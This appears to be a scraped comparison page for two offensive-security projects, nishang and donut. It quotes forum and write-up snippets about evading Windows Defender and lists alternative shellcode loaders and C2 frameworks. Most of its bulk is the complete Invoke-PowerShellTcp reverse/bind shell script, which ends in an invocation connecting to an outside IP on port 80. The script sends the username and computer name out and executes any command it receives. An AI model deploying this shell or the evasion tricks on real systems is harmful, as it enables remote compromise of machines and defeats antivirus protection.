nishang
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nishang | donut | |
---|---|---|
15 | 4 | |
8,336 | 3,218 | |
- | - | |
0.0 | 0.0 | |
4 days ago | 29 days ago | |
PowerShell | C | |
GNU General Public License v3.0 or later | BSD 3-clause "New" or "Revised" License |
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nishang
- PowerShell evasion
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Bypassing Windows Defender (10 Ways)
function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } } Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80
- Powershell scripts suggestions!
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TryHackMe Flatline Walkthrough
Save this file https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
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Discrepancies in detecting obfuscated payloads by Windows Defender?
After that I expanded my research and tried a payload from GitHub user samratashok and followed this Guide in which only the text encoding method is altered from ASCII to UTF8. And guess what? It actually worked, Windows Defender does not detect it!
- Using Nishang with Pastebin | Help
- Ideas on how to in-line inspect base64 for malicious code?
- Nishang - PowerShell ofensivo para #redteam, las pruebas de penetración y la seguridad ofensiva 💯
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Writeup: HackTheBox Bounty - Without Metasploit (OSCP Prep)
I am going to copy/paste the following nishang Reverse Shell in the newly created file link.
- Why is this reverse shell not working?
donut
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Bypassing Windows Defender (10 Ways)
The Donut project by TheWover is a very effective Position-Independent shellcode generator from PEs/DLLs. Depending on the input file given, it works different ways. For this PoC I will be using Mimikatz, so let us see how it works at a high level. From a brief look at the code, this would be the main routine of the Donut.exe executable tool:
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Cannot Load .NET assemblies in memory!
Note that I used the loader from donut and it worked as expected! What am I doing wrong here people?
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BEST KALI TOOL TO MAKE UNDETECTABLE BACKDOOR 2022?
Donut -- tool to convert (certain, very simple, non-.NET) PE files into shellcode.
- Does anyone know any good x64 shellcode loaders?
What are some alternatives?
powershell-universal - PowerShell Universal is the ultimate platform for building web-based IT tools.
DripLoader - Evasive shellcode loader for bypassing event-based injection detection (PoC)
AdminToolbox - Repository for the AdminToolbox PowerShell Modules
Shhhloader - Syscall Shellcode Loader (Work in Progress)
ConPtyShell - ConPtyShell - Fully Interactive Reverse Shell for Windows
vivanewvegas-wabbajack - A Wabbajack port of the Viva New Vegas modding guide.
psPAS - PowerShell module for CyberArk Privileged Access Security REST API
pe_to_shellcode - Converts PE into a shellcode
universal-dashboard - Build beautiful websites with PowerShell.
ThreatCheck - Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.
PoshC2 - A proxy aware C2 framework used to aid red teamers with post-exploitation and lateral movement.
obfuscator